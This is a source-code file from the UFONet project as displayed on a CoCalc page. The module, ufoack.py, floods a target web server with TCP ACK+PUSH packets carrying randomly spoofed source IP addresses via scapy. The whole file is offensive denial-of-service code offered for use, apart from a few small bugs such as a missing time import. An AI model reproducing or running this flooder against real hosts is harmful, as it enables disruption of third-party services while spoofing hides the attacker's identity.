Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/ufoack.py
1208 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2024 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import sys, random, socket
13
try:
14
from urlparse import urlparse
15
except:
16
from urllib.parse import urlparse
17
try:
18
from scapy import *
19
except:
20
print("\nError importing: scapy lib.\n")
21
sys.exit(2)
22
23
# UFONet TCP 'ACK+PUSH' packet attack (UFOACK)
24
def randIP():
25
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
26
return ip
27
28
def randInt():
29
x = random.randint(1,65535) # TCP ports
30
return x
31
32
def ackize(ip, sport, rounds):
33
n=0
34
try:
35
for x in range (0,int(rounds)):
36
n=n+1
37
s_zombie_port = randInt()
38
seq = randInt()
39
window = randInt()
40
IP_p = IP()
41
IP_p.src = randIP()
42
try:
43
IP_p.dst = ip
44
except:
45
print("[Error] [AI] [UFOACK] Imposible to resolve IP from 'target' -> [Aborting!]\n")
46
break
47
TCP_l = TCP()
48
TCP_l.sport = s_zombie_port
49
TCP_l.dport = sport
50
TCP_l.seq = seq
51
TCP_l.window = window
52
TCP_l.flags = "AP" # FLAGS SET (ACK+PUSH)
53
try:
54
send(IP_p/TCP_l, verbose=0)
55
print("[Info] [AI] [UFOACK] Firing 'ionized crystals' ["+str(n)+"] -> [IONIZING!]")
56
time.sleep(1) # sleep time required for balanced sucess
57
except:
58
print("[Error] [AI] [UFOACK] Failed to engage with 'ionized crystals' ["+str(n)+"]")
59
except:
60
print("[Error] [AI] [UFOACK] Failing to engage... -> Is still target online? -> [Checking!]")
61
62
class UFOACK(object):
63
def attacking(self, target, rounds):
64
print("[Info] [AI] TCP 'ACK+PUSH' (UFOACK) is ready to fire: [" , rounds, "ionized crystals ]")
65
if target.startswith('http://'):
66
target = target.replace('http://','')
67
sport = 80
68
elif target.startswith('https://'):
69
target = target.replace('https://','')
70
sport = 443
71
try:
72
ip = socket.gethostbyname(target)
73
except:
74
try:
75
import dns.resolver
76
r = dns.resolver.Resolver()
77
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
78
url = urlparse(target)
79
a = r.query(url.netloc, "A") # A record
80
for rd in a:
81
ip = str(rd)
82
except:
83
ip = target
84
if ip == "127.0.0.1" or ip == "localhost":
85
print("[Info] [AI] [UFOACK] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
86
return
87
ackize(ip, sport, rounds) # attack with UFOACK using threading
88
89